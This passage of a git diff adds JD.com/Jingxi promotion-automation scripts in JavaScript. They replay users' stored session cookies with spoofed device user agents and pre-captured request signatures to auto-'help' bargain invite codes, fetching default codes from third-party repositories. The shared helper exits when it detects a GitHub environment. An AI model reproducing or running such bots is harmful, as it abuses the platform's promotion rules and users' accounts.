s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kyd.js b/backUp/jd_kyd.js new file mode 100644 index 0000000..7390691 --- /dev/null +++ b/backUp/jd_kyd.js @@ -0,0 +1,583 @@ +/* +#柠檬是兄弟就砍我2 +##惊喜欢乐砍 自定义变量 入口惊喜APP我的 惊喜欢乐砍 +export launchid="ba3b268758521b2a48ce7ed61b82ff7a" ##你的邀请码 +export first="false" ##第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false +export active="" ##商品ID + +[task_local] +#柠檬是兄弟就砍我2 +0 17,21 * * * http://nm66.top/jd_kanjia2.js, tag=柠檬是兄弟就砍我2, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('柠檬是兄弟就砍我2'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +const active = ''; +let first = false; //第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false +let launchid + +if (process.env.active) { + active = process.env.active; +} + +if (process.env.first) { + first = true; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + // console.debug('正在测试,别着急!!!,可能会在群内抽奖') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + const link = Math.random() > 0.5 ? 'https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/kyd.json' : 'https://raw.fastgit.org/shufflewzc/updateTeam/main/shareCodes/kyd.json' + launchid = await getAuthorShareCode(link) || [] + if (process.env.launchid) { + launchid = process.env.launchid.split('@'); + } + if (launchid.length == 0 && !first) { + return + } + // console.debug(launchid) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (first == true) { + // await info() + // await checkaddress() + // await join() + await test() + await help_all() + } else { + await help_all() + } + } + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function help_all() { + for (let i = 0; i < launchid.length; i++) { + $.signle_launchid = launchid[i] + // console.debug($.signle_launchid) + await help() + await $.wait(3000) + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, + "timeout": 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function info() { + return new Promise(async (resolve) => { + + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_showpage?pageindex=1&pagenum=10&launchid=&_stk=launchid%2Cpageindex%2Cpagenum&_ste=1&h5st=20210611124834764%3B9239928912872162%3B10029%3Btk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7%2FRM9cwNQBA92KZHoHeloSktjcQEdy%2FEXtm5u1WsoLf%2F6pNyP%3B05df15c1c37911547393fc59f29a13f564d1f0fb7d7da9d6d0c2b0b6a7c9ffdc&t=1623386914770&_=1623386914770&sceneval=2&g_login_type=1&g_ty=ls`, + //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D + // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, + headers: { + "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + // console.debug(data) + data = data.match(/(\{[^()]+\}.+)/)[1] + + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + list = reust.data.discountzone + for (let i = 0; i < list.length; i++) { + $.log(`商品:${list[i].skutitle}\n商品iD:${list[i].active}\n需要邀请:${list[i].needhelpnum}人 免费带回家`) + + } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function test() { + return new Promise(async (resolve) => { + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_myonline?&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&g_ty=ls`, + headers: { + "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { + try { + data = data.match(/(\{[^()]+\}.+)/)[1] + data = JSON.parse(data) + // console.debug(data) + const temp = data.data.onling + // console.debug(temp) + for (let i = 0; i < temp.length; i++) { + console.debug(temp[i]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +// function checkaddress() { +// return new Promise(async (resolve) => { + +// let options = { +// url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_checkaddress?active=${active}&addressid=&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&g_ty=ls`, +// //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D +// // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, +// headers: { +// "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", +// "Host": "m.jingxi.com", +// "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", +// "Cookie": cookie, +// } +// } + +// $.get(options, async (err, resp, data) => { +// try { + +// data = data.match(/(\{[^()]+\}.+)/)[1] + +// // console.debug(data) +// const reust = JSON.parse(data) +// //console.log(reust) +// if (reust.errcode == 0) { +// //list = reust.data.freezone +// //for (let i = 0; i < list.length; i++) { +// $.provinceid = reust.data.provinceid +// $.cityid = reust.data.cityid +// $.countyid = reust.data.countyid +// $.log(`\n确认收货地址\n商品:${reust.data.skutitle}\n地址:${reust.data.address}`) + +// // } +// } else + +// console.log(data.msg) +// } catch (e) { +// $.logErr(e, resp); +// } finally { +// resolve(); +// } +// }); +// }); +// } + +// function join() { +// return new Promise(async (resolve) => { + +// let options = { +// url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_launch?active=${active}&provinceid=${$.provinceid}&cityid=${$.cityid}&countyid=${$.countyid}&_stk=active,cityid,countyid,provinceid&_ste=1&h5st=20210611134802301;9239928912872162;10029;tk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7/RM9cwNQBA92KZHoHeloSktjcQEdy/EXtm5u1WsoLf/6pNyP;9a5fc97afa527c0cfa083a7d2d948c0308bdb2d78413eb8ea5d17e336af71dc2&t=1623390482324&_=1623390482325&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, +// //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D +// // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, +// headers: { +// "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", +// "Host": "m.jingxi.com", +// "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", +// "Cookie": cookie, +// } +// } + +// $.get(options, async (err, resp, data) => { +// try { +// console.log(data) +// data = data.match(/(\{[^()]+\}.+)/)[1] + +// //console.log(data) +// const reust = JSON.parse(data) +// //console.log(reust) +// if (reust.errcode == 0) { +// $.launchid = restlt.launchid +// $.log(`\n参加砍价成功 你当前商品邀请码:${restlt.launchid}`) + +// // } +// } else + +// console.log(data.msg) +// } catch (e) { +// $.logErr(e, resp); +// } finally { +// resolve(); +// } +// }); +// }); +// } + + +function help() { + // console.debug($.signle_launchid) + return new Promise(async (resolve) => { + + let options = { + url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_queryhelp?launchid=${$.signle_launchid}&clicktype=1&nomoving=0&_stk=clicktype,launchid,nomoving&_ste=1&h5st=20210611141713782;4277367680239161;10029;tk01wea971d94a8nWUlYSjgyLzZKSU1igyCeoCUlN/xTTrRT7O3uvmUqievWdR1PWX5HYelOXXDFofE6gtFirtyXBLjY;787c9125d6eaf59d5fb81bcdea2b58481e4e395402191379b47fbec7470c67b3&t=1623392233807&_=1623392233808&sceneval=2&g_login_type=1&g_ty=ls`, + + headers: { + "Referer": `https://st.jingxi.com/sns/202103/20/jxhlk/list.html?launchid=${$.signle_launchid}&ptag=139022.1.2&srv=jx_cxyw_https://wq.jd.com/cube/front/activePublish/jxhlkv2/486449.html?ptag=139022.1.2_jing`, + "Host": "m.jingxi.com", + "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + data = data.match(/(\{[^()]+\}.+)/)[1] + + // console.debug(data) + const reust = JSON.parse(data) + //console.log(reust) + if (reust.errcode == 0) { + //$.launchid=restlt.launchid + $.log(`\n${reust.data.guestinfo.contenttips}`) + + // } + } else + + console.log(data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +async function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } + } + return new class { + constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s + } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { e = "" } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { this.logErr(t) } + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_ldhwj.js b/backUp/jd_ldhwj.js new file mode 100644 index 0000000..41a2849 --- /dev/null +++ b/backUp/jd_ldhwj.js @@ -0,0 +1,404 @@ +/* +tgchannel:https://t.me/Ariszy8028 +github:https://github.com/Ariszy/Private-Script +boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json + +[task_local] +#来电好物季 +10 1 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ryhxj.js, tag= 来电好物季 +================Loon============== +[Script] +cron "10 1 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhwj.js,tag= 来电好物季 +===============Surge================= +来电好物季 = type=cron,cronexp="10 1 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhwj.js +============小火箭========= +来电好物季 = type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhw.js, cronexpr="10 1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('来电好物季') +const notify = $.isNode() ?require('./sendNotify') : ''; +cookiesArr = [] +CodeArr = [] +cookie = '' +var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = 